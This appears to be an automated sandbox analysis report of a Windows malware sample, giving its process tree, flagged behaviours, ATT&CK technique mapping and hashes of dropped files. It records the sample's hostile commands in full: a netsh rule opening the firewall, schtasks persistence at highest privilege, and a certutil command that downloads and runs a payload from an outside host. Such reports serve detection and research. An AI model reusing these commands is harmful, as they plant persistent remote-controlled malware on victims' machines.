PID 2860 wrote to memory of 2452	2860	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe	cmd.exe
PID 2860 wrote to memory of 2452	2860	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe	cmd.exe
PID 2860 wrote to memory of 2452	2860	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe	cmd.exe
PID 2452 wrote to memory of 2520	2452	cmd.exe	netsh.exe
PID 2452 wrote to memory of 2520	2452	cmd.exe	netsh.exe
PID 2452 wrote to memory of 2520	2452	cmd.exe	netsh.exe
PID 2860 wrote to memory of 2508	2860	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe	csrss.exe
PID 2860 wrote to memory of 2508	2860	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe	csrss.exe
PID 2860 wrote to memory of 2508	2860	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe	csrss.exe
PID 2860 wrote to memory of 2508	2860	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe	csrss.exe
PID 2508 wrote to memory of 820	2508	csrss.exe	bcdedit.exe
PID 2508 wrote to memory of 820	2508	csrss.exe	bcdedit.exe
PID 2508 wrote to memory of 820	2508	csrss.exe	bcdedit.exe
PID 2508 wrote to memory of 820	2508	csrss.exe	bcdedit.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2980

C:\Users\Admin\AppData\Local\Temp\ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe"
2⤵
- Windows security bypass
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Checks for VirtualBox DLLs, possible anti-VM trick
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2860

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\94ed0aed9f65\94ed0aed9f65.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:2452

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\94ed0aed9f65\94ed0aed9f65.exe" enable=yes
4⤵
- Modifies Windows Firewall
- Modifies data under HKEY_USERS
PID:2520

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe ""
3⤵
- Executes dropped EXE
- Manipulates WinMonFS driver.
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2508

C:\Windows\system32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:1560

C:\Windows\system32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://babsitef.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
4⤵
- Creates scheduled task(s)
PID:1592

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2120

C:\Windows\system32\bcdedit.exe
C:\Windows\Sysnative\bcdedit.exe /v
4⤵
- Modifies boot configuration data using bcdedit
PID:820

C:\Windows\system32\makecab.exe
"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20240614181851.log C:\Windows\Logs\CBS\CbsPersist_20240614181851.cab
1⤵
- Drops file in Windows directory
PID:2268

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
\Users\Admin\AppData\Local\Temp\dbghelp.dll
Filesize
1.5MB

MD5
f0616fa8bc54ece07e3107057f74e4db

SHA1
b33995c4f9a004b7d806c4bb36040ee844781fca

SHA256
6e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026

SHA512
15242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c

Download Submit
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
Filesize
5.3MB

MD5
1afff8d5352aecef2ecd47ffa02d7f7d

SHA1
8b115b84efdb3a1b87f750d35822b2609e665bef

SHA256
c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

SHA512
e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

Download Submit
\Users\Admin\AppData\Local\Temp\osloader.exe
Filesize
591KB

MD5
e2f68dc7fbd6e0bf031ca3809a739346

SHA1
9c35494898e65c8a62887f28e04c0359ab6f63f5

SHA256
b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4

SHA512
26256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579

Download Submit
\Users\Admin\AppData\Local\Temp\symsrv.dll
Filesize
163KB

MD5
5c399d34d8dc01741269ff1f1aca7554

SHA1
e0ceed500d3cef5558f3f55d33ba9c3a709e8f55

SHA256
e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f

SHA512
8ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d

Download Submit
\Windows\rss\csrss.exe
Filesize
3.9MB

MD5
ab19f99a2b290c8b3aa15201d0afadae

SHA1
959df1d74c69119de098d672e90c56e6e00c54f7

SHA256
a4ddacb66a27d7e030d816677a31e4a04489e9d8fa1fd1fd8d5e6cceec8fa085

SHA512
868e8bf823970152646db0ff8c4c0d86e5f0f846597865d6039f43f786fc28f86ff7d8ec9efc4faca43e7d0c6ae50788d76a02f0a8bbfbb3b9166498b626b860

Download Submit
memory/2120-57-0x00000000004C0000-0x0000000000AA8000-memory.dmp

Filesize
5.9MB

Download
memory/2120-54-0x0000000000720000-0x0000000000D08000-memory.dmp

Filesize
5.9MB

Download
memory/2120-40-0x00000000004C0000-0x0000000000AA8000-memory.dmp

Filesize
5.9MB

Download
memory/2508-67-0x0000000000400000-0x0000000000B14000-memory.dmp

Filesize
7.1MB

Download
memory/2508-69-0x0000000000400000-0x0000000000B14000-memory.dmp

Filesize
7.1MB

Download
memory/2508-76-0x0000000000400000-0x0000000000B14000-memory.dmp

Filesize
7.1MB

Download
memory/2508-75-0x0000000000400000-0x0000000000B14000-memory.dmp

Filesize
7.1MB

Download
memory/2508-22-0x00000000023B0000-0x0000000002759000-memory.dmp

Filesize
3.7MB

Download
memory/2508-23-0x0000000000400000-0x0000000000B14000-memory.dmp

Filesize
7.1MB

Download
memory/2508-74-0x0000000000400000-0x0000000000B14000-memory.dmp

Filesize
7.1MB

Download
memory/2508-73-0x0000000000400000-0x0000000000B14000-memory.dmp

Filesize
7.1MB

Download
memory/2508-72-0x0000000000400000-0x0000000000B14000-memory.dmp

Filesize
7.1MB

Download
memory/2508-71-0x0000000000400000-0x0000000000B14000-memory.dmp

Filesize
7.1MB

Download
memory/2508-70-0x0000000000400000-0x0000000000B14000-memory.dmp

Filesize
7.1MB

Download
memory/2508-66-0x0000000000400000-0x0000000000B14000-memory.dmp

Filesize
7.1MB

Download
memory/2508-55-0x0000000000400000-0x0000000000B14000-memory.dmp

Filesize
7.1MB

Download
memory/2508-56-0x0000000000400000-0x0000000000B14000-memory.dmp

Filesize
7.1MB

Download
memory/2508-65-0x0000000000400000-0x0000000000B14000-memory.dmp

Filesize
7.1MB

Download
memory/2860-11-0x0000000000400000-0x0000000000B14000-memory.dmp

Filesize
7.1MB

Download
memory/2860-8-0x00000000024D0000-0x0000000002879000-memory.dmp

Filesize
3.7MB

Download
memory/2860-9-0x0000000000400000-0x0000000000B14000-memory.dmp

Filesize
7.1MB

Download
memory/2860-21-0x0000000000400000-0x0000000000B14000-memory.dmp

Filesize
7.1MB

Download
memory/2860-10-0x0000000000400000-0x0000000000B14000-memory.dmp

Filesize
7.1MB

Download
memory/2980-1-0x00000000024C0000-0x0000000002869000-memory.dmp

Filesize
3.7MB

Download
memory/2980-2-0x0000000002870000-0x0000000002F6A000-memory.dmp

Filesize
7.0MB

Download
memory/2980-3-0x0000000000400000-0x0000000000B14000-memory.dmp

Filesize
7.1MB

Download
memory/2980-0-0x00000000024C0000-0x0000000002869000-memory.dmp

Filesize
3.7MB

Download
memory/2980-6-0x00000000024C0000-0x0000000002869000-memory.dmp

Filesize
3.7MB

Download
memory/2980-5-0x0000000002870000-0x0000000002F6A000-memory.dmp

Filesize
7.0MB

Download
memory/2980-7-0x0000000000400000-0x0000000000B14000-memory.dmp

Filesize
7.1MB

Download